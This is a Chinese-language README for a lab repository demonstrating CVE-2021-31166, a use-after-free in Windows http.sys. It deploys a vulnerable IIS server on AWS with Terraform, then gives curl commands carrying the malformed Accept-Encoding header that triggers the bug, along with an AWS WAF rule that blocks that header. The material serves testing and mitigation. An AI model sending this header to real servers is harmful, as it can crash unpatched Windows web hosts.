本仓库 受 0vercl0k 启发,是 CVE-2021-31166(“HTTP协议栈远程代码执行漏洞”)的概念验证,该漏洞是微软在2021年5月修补的 http.sys 中的一个释放后使用(use-after-free)问题。
git clone https://github.com/bgsilvait/WIn-CVE-2021-31166.git
cd WIn-CVE-2021-31166
terraform init
terraform plan
terraform apply --auto-approve
Terraform 将创建一个运行 Windows Server Core 20H2 的 EC2 实例,安装 IIS 并添加 SSM 权限以从 AWS 控制台打开 Web Powershell 会话。它还会创建一个应用程序负载均衡器并将该实例作为目标。默认情况下,安全组将仅添加 您的 IP 以允许通过 HTTP 访问。
#Define Values from Terraform Output
ALB=$(terraform output -raw lb_dns_name)
EC2IP=$(terraform output -json public_ip | jq -r '.[0]')
#测试到ALB
while true; do curl -I $ALB --connect-timeout 1 ; done
#测试直接到EC2
while true; do curl -I $EC2IP --connect-timeout 1 ; done
#测试到ALB
curl -i $ALB -H "Accept-Encoding: doar-e, ftw, imo, ,"
#测试直接到EC2
curl -i $EC2IP -H "Accept-Encoding: doar-e, ftw, imo, ,"
{
"Name": "cve-block",
"Priority": 0,
"Statement": {
"ByteMatchStatement": {
"SearchString": "doar-e, ftw, imo, ,",
"FieldToMatch": {
"SingleHeader": {
"Name": "accept-encoding"
}
},
"TextTransformations": [
{
"Priority": 0,
"Type": "NONE"
}
],
"PositionalConstraint": "EXACTLY"
}
},
"Action": {
"Block": {
"CustomResponse": {
"ResponseCode": 418,
"CustomResponseBodyKey": "418"
}
}
},
"VisibilityConfig": {
"SampledRequestsEnabled": true,
"CloudWatchMetricsEnabled": true,
"MetricName": "cve-block"
}
}